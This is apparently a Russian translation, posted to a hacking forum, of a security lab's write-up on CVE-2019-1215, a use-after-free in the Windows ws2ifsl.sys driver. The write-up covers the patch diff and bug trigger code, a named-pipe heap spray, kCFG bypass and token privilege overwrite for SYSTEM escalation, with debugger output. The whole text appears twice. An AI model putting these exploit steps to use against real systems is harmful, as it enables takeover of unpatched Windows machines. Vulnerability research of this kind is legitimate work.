Анализ основных причин и эксплоита для ядра Windows в драйвере ws2ifsl.sys
Введение
В следующем посте блога обсуждается недавно исправленная уязвимость UAF (CVE-2019-1215) в драйвере ws2ifsl.sys, которую можно использовать для локального повышения привилегий. Баг присутствовал в Windows 7, Windows 8, Windows 10, Windows 2008, Windows 2012 и Windows 2019. Он был пропатчен 10 сентября 2019 года. Более подробную информацию об этом можно найти здесь (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1215).
В этом посте описывается анализ основных причин и эксплуатация в Windows 10 19H1 (1903) x64. Эксплоит показывает, как обойти kASLR, kCFG и SMEP в этой системе.
Справочная информация о файле ws2ifsl
Для лучшего понимания этого анализа мы должны представить некоторую справочную информацию об уязвимом драйвере. Об этом драйвере нет общедоступной документации, и большая часть следующей информации получена путем обратной разработки. Компонент ws2ifsl - это драйвер, связанный с winsocket.
Драйвер реализует два объекта:
Драйвер реализует несколько процедур диспетчеризации, которые могут быть вызваны пользователем. Когда вызывается NtCreateFile с именем файла, установленным в \\Device\\WS2IFSL\\, вызывается функция DispatchCreate. Функция разветвляется на основе строки в _FILE_FULL_EA_INFORMATION.EaName. Если это значение равно NifsPvd, то будет вызываться функция CreateProcessFile, а если это значение равно NifsSct, то будет вызываться функция CreateSocketFile.
Функции CreateSocketFile и CreateProcessFile создают внутренние объекты, которые мы называем procData и socketData. После создания эти объекты сохраняются в _FILE_OBJECT.FsContext объекта файла, который был создан в процедуре диспетчеризации.
Файловый объект - это тот, к которому можно обратиться в пользовательском режиме с помощью дескриптора, возвращенного из функции NtCreateFile. Дескриптор может использоваться для выполнения вызовов к DeviceIoControl или WriteFile. Это означает, что объекты 'procData' и 'sockedData' не являются непосредственно ссылками, подсчитанными с помощью ObfReferenceObject и ObfDereferenceObject, а лежат ниже объекта файла.
Драйвер реализует два объекта Асинхронного Вызова Процедур (APC), которые называются "очередь запросов" и "очередь отмены". APC - это механизм для асинхронного выполнения функций в другом потоке. Поскольку несколько APC могут быть принудительно выполнены в другом потоке, ядро реализует очередь, в которой хранятся все APC, которые должны быть выполнены.
Объект 'procData' содержит эти два объекта APC, которые инициализируются CreateProcessFile в InitializeRequestQueue и InitializeCancelQueue. Объект APC инициализируется KeInitializeApc и получает целевой поток и функцию в качестве аргументов. Кроме того, устанавливается режим процессора (ядро или пользовательский режим), а также процедура rundown. В случае ws2ifsl процедурами являются RequestRundownRoutine и CancelRundownRoutine, а режим процессора установлен в режим пользователя. Эти подпрограммы используются для очистки и вызываются ядром, если поток умирает до того, как APC сможет его выполнить его. Это может произойти, потому что APC запланирован для выполнения только внутри потока, если он установлен в состояние оповещения. Поток может быть переведен в состояние оповещения, если, например, SleepEx вызывается со вторым аргументом, установленным в TRUE.
Драйвер также реализует процедуру диспетчеризации чтения и записи в DispatchReadWrite, которая доступна только для объекта сокета, и вызывает DoSocketReadWrite. Эта функция, помимо прочего, отвечает за добавление элементов APC в очередь APC путем вызова функции SignalRequest, которая использует API-функцию nt!KeInsertQueueApc.
Взаимодействие с драйвером
Во многих случаях драйвер создает символическую ссылку, и его имя можно использовать в качестве имени файла для CreateFileA, но это не относится к ws2ifsl. Он вызывает только nt!IoCreateDevic с именем устройства, установленным в "\Device\WS2IFSL". Однако, вызывая нативную API NtOpenFile, можно получить функцию диспетчеризации создания ws2ifsl! DispatchCreate. Следующий код может быть использован для достижения этой цели:
Функция DispatchCreate проверит расширенные атрибуты открытого вызова. Этот атрибут может быть установлен только с помощью системного вызова NtCreateFile.
Для объекта процесса буфер данных расширенного атрибута (ea) должен содержать дескриптор потока, принадлежащий текущему процессу, и после этого у нас есть дескриптор устройства, который мы можем использовать для выполнения дальнейших операций.
Анализ патча
Теперь, когда мы рассмотрели основные свойства, мы можем перейти к анализу патча. Анализ патча начинается со сравнения непропатченной версии ws2ifsl 10.0.18362.1 с пропатченной версией 10.0.18362.356.
Мы можем быстро увидеть, что исправлена только пара функций:
Это можно увидеть на следующем скриншоте:
Исправленная версия содержит также новую функцию:
Наиболее очевидным изменением является то, что все измененные функции содержат новый вызов новой функции DereferenceProcessContext. Эту функцию можно увидеть на следующем скриншоте:
Следующее, что следует заметить, это то, что объект 'procData' был расширен новым членом и теперь использует счетчик ссылок. Например, в CreateProcessFile, которая отвечает за все инициализации, этому новому члену присваивается единица.
VS
Функция DereferenceProcessContext также проверяет счетчик ссылок и либо вызывает для него nt!ExFreePoolWithTag, либо просто возвращается.
Функция DispatchClose, которая является закрытой процедурой диспетчеризации драйвера, также исправлена. Новая версия изменила вызов с nt!ExFreePoolWithTag на DereferenceProcessContext. Это означает, что иногда (если счетчик ссылок не равен нулю) 'procData' не освобождается, а только уменьшает счетчик ссылок на единицу.
Исправление в SignalRequest увеличивает referenceCounter перед вызовом nt!KeInsertQueueApc.
Ошибка заключается в том, что функция DispatchClose может использоваться для освобождения объекта 'procData', даже если запрос уже поставлен в очередь в APC. Функция DispatchClose вызывается всякий раз, когда закрывается последняя ссылка на дескриптор файла (путем вызова CloseHandle). Патч исправляет использование после освобождения, поскольку подпрограмма, помимо прочего, может получить доступ к данным, которые уже были освобождены.
Исправление гарантирует, используя новый referenceCounter, что буфер освобождается только после того, как последняя ссылка на него удалена. В случае rundown подпрограммы (которая содержит ссылку), в конце функции ссылка удаляется с помощью DereferenceProcessContext.
И счетчик ссылок увеличивается перед вызовом nt!KeInsertQueueApc. В случае ошибки, если nt!KeInsertQueueApc завершится неудачно, ссылка также удаляется (избегая утечки памяти).
Запуск бага
Чтобы вызвать ошибку, все, что нужно, это создать дескриптор procData, дескриптор socketData, записать некоторые данные в socketData и закрыть оба дескриптора. Прекращение потока вызывает подпрограмму APC, которая будет работать с освобожденными данными. Следующий код вызовет ошибку:
Мы можем проверить это поведение, имея точку останова в DispatchClose и в RequestRundownRoutine:
Поскольку объект 'procData' уже освобожден, подпрограмма rundown будет работать с освобожденными данными. В большинстве случаев это не приведет к сбою, поскольку блок данных не перераспределен.
Heap Spray
Теперь, когда мы знаем, как вызвать ошибку, мы можем перейти к эксплуатации. Первым шагом для этого является восстановление освобожденного выделения.
Сначала нам нужно знать размер и пул, на котором расположен буфер.
Используя команду pool в буфере для освобождения, мы видим, что он расположен в невыгружаемом пуле и имеет размер 0x120 байтов.
Это можно проверить, посмотрев на распределение буфера в ws2ifsl!CreateProcessFile:
Надежный способ выполнить контролируемое выделение произвольного размера в невыгружаемом пуле является использование именованных каналов: этот метод был описан Alex Ionescu здесь (http://alex-ionescu.com/?p=231). Следующий код может использоваться для выделения множества буферов размером 0x120 байтов с данными, контролируемыми пользователем:
Если мы объединяем это распыление кучи с кодом, который вызывает ошибку, мы получим bug check внутри nt!KiInsertQueueApc. Сбой происходит из-за нарушения безопасности в операции со связанными списками.
Bugcheck происходит прямо в инструкции int 29. Проверяя регистры во время сбоя, мы видим, что регистр RAX указывает на данные нашего контролируемого пользователя.
Стек вызовов, приводящий к сбою, следующий:
Bugcheck сработал, потому что основной поток заканчивается. Причина, по которой это произошло, заключается в том, что наш поврежденный APC все еще находится в очереди, а операция unlink работает с поврежденными данными. Поскольку прямые и обратные указатели повреждены и не указывают на действительный связанный список, safe unlinking обнаруживает это повреждение и вызывает bugchecks.
KeRundownApcQueues
Код, который использует освобожденный элемент APC, необходимо изменить, чтобы превратить это во что-то полезное.
После того, как ошибка вызвана и старая 'procData' перезаписана, поток, для которого APC поставлен в очередь, должен выйти. Если это сделано, ядро вызывает функцию nt!KeRundownApcQueues, которая проверяет ошибки внутри nt!KiFlushQueueApc, поскольку она обращается к поврежденным данным.
Однако на этот раз мы можем контролировать содержимое буфера и избежать исключения безопасности, потому что действительный указатель связанного списка проверяется значением, указывающим внутри "kthread". Предполагая, что мы работаем на среднем уровне целостности, возможно утечка адреса "kthread" с помощью вызова NtQuerySystemInformation с SystemHandleInformation. Если мы создадим исправленные "procData" с адресом "kthread", bugcheck будет устранен, и nt!KeRundownApcQueues попытается выполнить указатель нашей управляемой пользователем функции внутри объекта "procData".
Обход kCFG
После того, как мы контролируем, какой указатель функции мы хотим выполнить, нам нужно преодолеть небольшое препятствие. KASLR не является проблемой для этого эксплойта, поскольку существует возможность утечки базового адреса ntoskrnl. При среднем уровне целостности возможно утечка базового адреса всех загруженных модулей через NtQuerySystemInformation/SystemModuleInformation. Как следствие, теперь мы, по крайней мере, знаем, куда мы можем перенести наше исполнение.
Однако вызов указателя функции APC защищен реализацией CFI от Microsoft, называемой Kernel Control Flow Guard. Если мы попытаемся вызвать любой случайный гаджет , ядро выйдет из строя с bugcheck.
К счастью, все прологи функций являются действительными целями ветвления с точки зрения CFG, поэтому мы знаем, что мы можем вызывать без остановки. Когда указатель на функцию вызывается в nt!KeRundownApcQueues, первый аргумент (rcx) указывает на буфер 'procData', а второй аргумент (rdx) равен нулю.
Другая возможность, которую мы могли бы использовать, это вызвать указатель на функцию APC, вызвав встроенную функцию NtTestAlert. При вызове указателя на функцию APC с помощью NtTestAlert первый аргумент (rcx) указывает на буфер 'procData', а второй аргумент (rdx) также указывает на него.
После небольшого поиска маленьких функций, выполнения интересных вещей на основе заданных ограничений мы нашли одного кандидата: nt!SeSetAccessStateGenericMapping.
Как видно из следующего, nt!SeSetAccessStateGenericMapping может использоваться для произвольной записи 16 байтов.
К сожалению, вторая половина из 16 байтов не полностью контролируется, но первые 8 байтов основаны на данных, предоставленных расспылением кучи.
Перезапись токена
Когда у нас есть мощный произвольный примитив записи, мы можем сделать много вещей. В старых версиях Windows существует множество способов превратить произвольную запись в полноценные примитивы чтения с ядром. В более поздних версиях Windows 10 многие из этих методов были защищены. Техника, которая все еще работает, является техникой перезаписи токена. Впервые она была опубликована в публикации Cesar Cerrudo "Легкая локальная эксплуатация ядра Windows" в 2012 году (http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf), и мы уже использовали ее в прошлом. Идея состоит в том, чтобы повредить объект _SEP_TOKEN_PRIVILEGES, расположенный внутри объекта _TOKEN. Самый простой способ сделать это - переписать элементы Present и Enabled этой структуры со всеми включенными битами. Это предоставит нам привилегию SeDebugPrivilege, которая позволит нам внедрять код в процессы с высокими привилегиями, такие как "winlogon.exe".
Нам нужно дважды вызвать ошибку, чтобы надежно перезаписать структуру токена 16 байтами. Однако это, похоже, не доставило никаких проблем.
Получение системных привилегий
Как только мы инжектировали данные в системный процесс, то мы победили. Теперь мы можем, например, запустить "cmd.exe", чтобы предоставить нам интерактивную командную оболочку. Мы также избегаем проблем с kCFG и SMEP, потому что мы не выполняем ROP и не выполняем любой код нулевого кольца в неправильном контексте.
Эксплоит
Последний эксплойт предназначен для Windows 10 19H1 x64 и может быть найден здесь https://github.com/bluefrostsecurity/CVE-2019-1215. При выполнении эксплоита с привилегиями средней целостности, успешная эксплуатация порождает новый cmd.exe с системными привилегиями.
Источник: https://labs.bluefrostsecurity.de/b...1215-analysis-of-a-use-after-free-in-ws2ifsl/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)
Введение
В следующем посте блога обсуждается недавно исправленная уязвимость UAF (CVE-2019-1215) в драйвере ws2ifsl.sys, которую можно использовать для локального повышения привилегий. Баг присутствовал в Windows 7, Windows 8, Windows 10, Windows 2008, Windows 2012 и Windows 2019. Он был пропатчен 10 сентября 2019 года. Более подробную информацию об этом можно найти здесь (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1215).
В этом посте описывается анализ основных причин и эксплуатация в Windows 10 19H1 (1903) x64. Эксплоит показывает, как обойти kASLR, kCFG и SMEP в этой системе.
Справочная информация о файле ws2ifsl
Для лучшего понимания этого анализа мы должны представить некоторую справочную информацию об уязвимом драйвере. Об этом драйвере нет общедоступной документации, и большая часть следующей информации получена путем обратной разработки. Компонент ws2ifsl - это драйвер, связанный с winsocket.
Драйвер реализует два объекта:
- объект процесса
- объект сокета
Драйвер реализует несколько процедур диспетчеризации, которые могут быть вызваны пользователем. Когда вызывается NtCreateFile с именем файла, установленным в \\Device\\WS2IFSL\\, вызывается функция DispatchCreate. Функция разветвляется на основе строки в _FILE_FULL_EA_INFORMATION.EaName. Если это значение равно NifsPvd, то будет вызываться функция CreateProcessFile, а если это значение равно NifsSct, то будет вызываться функция CreateSocketFile.
Функции CreateSocketFile и CreateProcessFile создают внутренние объекты, которые мы называем procData и socketData. После создания эти объекты сохраняются в _FILE_OBJECT.FsContext объекта файла, который был создан в процедуре диспетчеризации.
Файловый объект - это тот, к которому можно обратиться в пользовательском режиме с помощью дескриптора, возвращенного из функции NtCreateFile. Дескриптор может использоваться для выполнения вызовов к DeviceIoControl или WriteFile. Это означает, что объекты 'procData' и 'sockedData' не являются непосредственно ссылками, подсчитанными с помощью ObfReferenceObject и ObfDereferenceObject, а лежат ниже объекта файла.
Драйвер реализует два объекта Асинхронного Вызова Процедур (APC), которые называются "очередь запросов" и "очередь отмены". APC - это механизм для асинхронного выполнения функций в другом потоке. Поскольку несколько APC могут быть принудительно выполнены в другом потоке, ядро реализует очередь, в которой хранятся все APC, которые должны быть выполнены.
Объект 'procData' содержит эти два объекта APC, которые инициализируются CreateProcessFile в InitializeRequestQueue и InitializeCancelQueue. Объект APC инициализируется KeInitializeApc и получает целевой поток и функцию в качестве аргументов. Кроме того, устанавливается режим процессора (ядро или пользовательский режим), а также процедура rundown. В случае ws2ifsl процедурами являются RequestRundownRoutine и CancelRundownRoutine, а режим процессора установлен в режим пользователя. Эти подпрограммы используются для очистки и вызываются ядром, если поток умирает до того, как APC сможет его выполнить его. Это может произойти, потому что APC запланирован для выполнения только внутри потока, если он установлен в состояние оповещения. Поток может быть переведен в состояние оповещения, если, например, SleepEx вызывается со вторым аргументом, установленным в TRUE.
Драйвер также реализует процедуру диспетчеризации чтения и записи в DispatchReadWrite, которая доступна только для объекта сокета, и вызывает DoSocketReadWrite. Эта функция, помимо прочего, отвечает за добавление элементов APC в очередь APC путем вызова функции SignalRequest, которая использует API-функцию nt!KeInsertQueueApc.
Взаимодействие с драйвером
Во многих случаях драйвер создает символическую ссылку, и его имя можно использовать в качестве имени файла для CreateFileA, но это не относится к ws2ifsl. Он вызывает только nt!IoCreateDevic с именем устройства, установленным в "\Device\WS2IFSL". Однако, вызывая нативную API NtOpenFile, можно получить функцию диспетчеризации создания ws2ifsl! DispatchCreate. Следующий код может быть использован для достижения этой цели:
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL");
OBJECT_ATTRIBUTES object;
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
IO_STATUS_BLOCK IoStatusBlock ;
NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);
Функция DispatchCreate проверит расширенные атрибуты открытого вызова. Этот атрибут может быть установлен только с помощью системного вызова NtCreateFile.
Для объекта процесса буфер данных расширенного атрибута (ea) должен содержать дескриптор потока, принадлежащий текущему процессу, и после этого у нас есть дескриптор устройства, который мы можем использовать для выполнения дальнейших операций.
Анализ патча
Теперь, когда мы рассмотрели основные свойства, мы можем перейти к анализу патча. Анализ патча начинается со сравнения непропатченной версии ws2ifsl 10.0.18362.1 с пропатченной версией 10.0.18362.356.
Мы можем быстро увидеть, что исправлена только пара функций:
- CreateProcessFile
- DispatchClose
- SignalCancel
- SignalRequest
- RequestRundownRoutine
- CancelRundownRoutine
Это можно увидеть на следующем скриншоте:
Исправленная версия содержит также новую функцию:
- DereferenceProcessContext
Наиболее очевидным изменением является то, что все измененные функции содержат новый вызов новой функции DereferenceProcessContext. Эту функцию можно увидеть на следующем скриншоте:
Следующее, что следует заметить, это то, что объект 'procData' был расширен новым членом и теперь использует счетчик ссылок. Например, в CreateProcessFile, которая отвечает за все инициализации, этому новому члену присваивается единица.
C:
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->field_100 = 0;
VS
C:
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->dword100 = 0;
procData->referenceCounter = 1i64; // new
Функция DereferenceProcessContext также проверяет счетчик ссылок и либо вызывает для него nt!ExFreePoolWithTag, либо просто возвращается.
Функция DispatchClose, которая является закрытой процедурой диспетчеризации драйвера, также исправлена. Новая версия изменила вызов с nt!ExFreePoolWithTag на DereferenceProcessContext. Это означает, что иногда (если счетчик ссылок не равен нулю) 'procData' не освобождается, а только уменьшает счетчик ссылок на единицу.
Исправление в SignalRequest увеличивает referenceCounter перед вызовом nt!KeInsertQueueApc.
Ошибка заключается в том, что функция DispatchClose может использоваться для освобождения объекта 'procData', даже если запрос уже поставлен в очередь в APC. Функция DispatchClose вызывается всякий раз, когда закрывается последняя ссылка на дескриптор файла (путем вызова CloseHandle). Патч исправляет использование после освобождения, поскольку подпрограмма, помимо прочего, может получить доступ к данным, которые уже были освобождены.
Исправление гарантирует, используя новый referenceCounter, что буфер освобождается только после того, как последняя ссылка на него удалена. В случае rundown подпрограммы (которая содержит ссылку), в конце функции ссылка удаляется с помощью DereferenceProcessContext.
И счетчик ссылок увеличивается перед вызовом nt!KeInsertQueueApc. В случае ошибки, если nt!KeInsertQueueApc завершится неудачно, ссылка также удаляется (избегая утечки памяти).
Запуск бага
Чтобы вызвать ошибку, все, что нужно, это создать дескриптор procData, дескриптор socketData, записать некоторые данные в socketData и закрыть оба дескриптора. Прекращение потока вызывает подпрограмму APC, которая будет работать с освобожденными данными. Следующий код вызовет ошибку:
C:
<..>
in CreateProcessHandle:
g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);
eaData->a1 = (void*)g_hThread1; // thread must be in current process
eaData->a2 = (void*)0x2222222; // fake APC Routine
eaData->a3 = (void*)0x3333333; // fake cancel Rundown Routine
eaData->a4 = (void*)0x4444444;
eaData->a5 = (void*)0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
DWORD supSuc = SuspendThread(g_hThread1);
<..>
in main:
HANDLE procHandle = CreateProcessHandle();
HANDLE sockHandle = CreateSocketHandle(procHandle);
char* writeBuffer = (char*) malloc(0x100);
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);
Мы можем проверить это поведение, имея точку останова в DispatchClose и в RequestRundownRoutine:
Breakpoint 2 hit
ws2ifsl!DispatchClose+0x7d:
fffff806`1b8e71cd e8ceeef3fb call nt!ExFreePool (fffff806`178260a0)
1: kd> db rcx
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
1: kd> g
Breakpoint 0 hit
ws2ifsl!RequestRundownRoutine:
fffff806`1b8e12d0 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> db rcx-30
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
Поскольку объект 'procData' уже освобожден, подпрограмма rundown будет работать с освобожденными данными. В большинстве случаев это не приведет к сбою, поскольку блок данных не перераспределен.
Heap Spray
Теперь, когда мы знаем, как вызвать ошибку, мы можем перейти к эксплуатации. Первым шагом для этого является восстановление освобожденного выделения.
Сначала нам нужно знать размер и пул, на котором расположен буфер.
Используя команду pool в буфере для освобождения, мы видим, что он расположен в невыгружаемом пуле и имеет размер 0x120 байтов.
1: kd> !pool ffff8b08905e9910
Pool page ffff8b08905e9910 region is Nonpaged pool
<..>
*ffff8b08905e9900 size: 120 previous size: 0 (Allocated) *Ws2P Process: ffff8b08a32e3080
Owning component : Unknown (update pooltag.txt)
Это можно проверить, посмотрев на распределение буфера в ws2ifsl!CreateProcessFile:
PAGE:00000001C00079ED mov edx, 108h ; size
PAGE:00000001C00079F2 mov ecx, 200h ; PoolType
PAGE:00000001C00079F7 mov r8d, 'P2sW' ; Tag
PAGE:00000001C00079FD call cs:__imp_ExAllocatePoolWithQuotaTag
Надежный способ выполнить контролируемое выделение произвольного размера в невыгружаемом пуле является использование именованных каналов: этот метод был описан Alex Ionescu здесь (http://alex-ionescu.com/?p=231). Следующий код может использоваться для выделения множества буферов размером 0x120 байтов с данными, контролируемыми пользователем:
C:
int doHeapSpray()
{
for (size_t i = 0; i < 0x5000; i++)
{
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength;
UCHAR payload[0x120 - 0x48];
RtlFillMemory(payload, 0x120 - 0x48, 0x24);
BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}
return 0;
}
Если мы объединяем это распыление кучи с кодом, который вызывает ошибку, мы получим bug check внутри nt!KiInsertQueueApc. Сбой происходит из-за нарушения безопасности в операции со связанными списками.
.text:00000001400A58F6 mov rax, [rdx]
.text:00000001400A58F9 cmp [rax+_LIST_ENTRY.Blink], rdx
.text:00000001400A58FD jnz fail_fast
<..>
.text:00000001401DC2EA fail_fast: ; CODE XREF: KiInsertQueueApc+53↑j
.text:00000001401DC2EA ; KiInsertQueueApc+95↑j ...
.text:00000001401DC2EA mov ecx, 3
.text:00000001401DC2EF int 29h ; Win8: RtlFailFast(ecx)
Bugcheck происходит прямо в инструкции int 29. Проверяя регистры во время сбоя, мы видим, что регистр RAX указывает на данные нашего контролируемого пользователя.
rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003
rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599
r8=ffff8b08a39c3118 r9=fffff80574d87490 r10=fffff80574d87490
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
0: kd> dq ffff8b08905e82d0
ffff8b08`905e82d0 24242424`24242424 24242424`24242424
ffff8b08`905e82e0 24242424`24242424 24242424`24242424
ffff8b08`905e82f0 24242424`24242424 24242424`24242424
ffff8b08`905e8300 24242424`24242424 24242424`24242424
ffff8b08`905e8310 24242424`24242424 24242424`24242424
ffff8b08`905e8320 24242424`24242424 24242424`24242424
ffff8b08`905e8330 24242424`24242424 24242424`24242424
ffff8b08`905e8340 24242424`24242424 24242424`24242424
Стек вызовов, приводящий к сбою, следующий:
0: kd> k
# Child-SP RetAddr Call Site
00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus
01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12
02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952
03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107
04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69
05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0
06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325
07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87
08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f
09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8
0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2
0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48
0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a
0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn
0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart
Bugcheck сработал, потому что основной поток заканчивается. Причина, по которой это произошло, заключается в том, что наш поврежденный APC все еще находится в очереди, а операция unlink работает с поврежденными данными. Поскольку прямые и обратные указатели повреждены и не указывают на действительный связанный список, safe unlinking обнаруживает это повреждение и вызывает bugchecks.
KeRundownApcQueues
Код, который использует освобожденный элемент APC, необходимо изменить, чтобы превратить это во что-то полезное.
После того, как ошибка вызвана и старая 'procData' перезаписана, поток, для которого APC поставлен в очередь, должен выйти. Если это сделано, ядро вызывает функцию nt!KeRundownApcQueues, которая проверяет ошибки внутри nt!KiFlushQueueApc, поскольку она обращается к поврежденным данным.
Однако на этот раз мы можем контролировать содержимое буфера и избежать исключения безопасности, потому что действительный указатель связанного списка проверяется значением, указывающим внутри "kthread". Предполагая, что мы работаем на среднем уровне целостности, возможно утечка адреса "kthread" с помощью вызова NtQuerySystemInformation с SystemHandleInformation. Если мы создадим исправленные "procData" с адресом "kthread", bugcheck будет устранен, и nt!KeRundownApcQueues попытается выполнить указатель нашей управляемой пользователем функции внутри объекта "procData".
Обход kCFG
После того, как мы контролируем, какой указатель функции мы хотим выполнить, нам нужно преодолеть небольшое препятствие. KASLR не является проблемой для этого эксплойта, поскольку существует возможность утечки базового адреса ntoskrnl. При среднем уровне целостности возможно утечка базового адреса всех загруженных модулей через NtQuerySystemInformation/SystemModuleInformation. Как следствие, теперь мы, по крайней мере, знаем, куда мы можем перенести наше исполнение.
Однако вызов указателя функции APC защищен реализацией CFI от Microsoft, называемой Kernel Control Flow Guard. Если мы попытаемся вызвать любой случайный гаджет , ядро выйдет из строя с bugcheck.
К счастью, все прологи функций являются действительными целями ветвления с точки зрения CFG, поэтому мы знаем, что мы можем вызывать без остановки. Когда указатель на функцию вызывается в nt!KeRundownApcQueues, первый аргумент (rcx) указывает на буфер 'procData', а второй аргумент (rdx) равен нулю.
Другая возможность, которую мы могли бы использовать, это вызвать указатель на функцию APC, вызвав встроенную функцию NtTestAlert. При вызове указателя на функцию APC с помощью NtTestAlert первый аргумент (rcx) указывает на буфер 'procData', а второй аргумент (rdx) также указывает на него.
После небольшого поиска маленьких функций, выполнения интересных вещей на основе заданных ограничений мы нашли одного кандидата: nt!SeSetAccessStateGenericMapping.
Как видно из следующего, nt!SeSetAccessStateGenericMapping может использоваться для произвольной записи 16 байтов.
К сожалению, вторая половина из 16 байтов не полностью контролируется, но первые 8 байтов основаны на данных, предоставленных расспылением кучи.
Перезапись токена
Когда у нас есть мощный произвольный примитив записи, мы можем сделать много вещей. В старых версиях Windows существует множество способов превратить произвольную запись в полноценные примитивы чтения с ядром. В более поздних версиях Windows 10 многие из этих методов были защищены. Техника, которая все еще работает, является техникой перезаписи токена. Впервые она была опубликована в публикации Cesar Cerrudo "Легкая локальная эксплуатация ядра Windows" в 2012 году (http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf), и мы уже использовали ее в прошлом. Идея состоит в том, чтобы повредить объект _SEP_TOKEN_PRIVILEGES, расположенный внутри объекта _TOKEN. Самый простой способ сделать это - переписать элементы Present и Enabled этой структуры со всеми включенными битами. Это предоставит нам привилегию SeDebugPrivilege, которая позволит нам внедрять код в процессы с высокими привилегиями, такие как "winlogon.exe".
Нам нужно дважды вызвать ошибку, чтобы надежно перезаписать структуру токена 16 байтами. Однако это, похоже, не доставило никаких проблем.
Получение системных привилегий
Как только мы инжектировали данные в системный процесс, то мы победили. Теперь мы можем, например, запустить "cmd.exe", чтобы предоставить нам интерактивную командную оболочку. Мы также избегаем проблем с kCFG и SMEP, потому что мы не выполняем ROP и не выполняем любой код нулевого кольца в неправильном контексте.
Эксплоит
Последний эксплойт предназначен для Windows 10 19H1 x64 и может быть найден здесь https://github.com/bluefrostsecurity/CVE-2019-1215. При выполнении эксплоита с привилегиями средней целостности, успешная эксплуатация порождает новый cmd.exe с системными привилегиями.
Источник: https://labs.bluefrostsecurity.de/b...1215-analysis-of-a-use-after-free-in-ws2ifsl/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)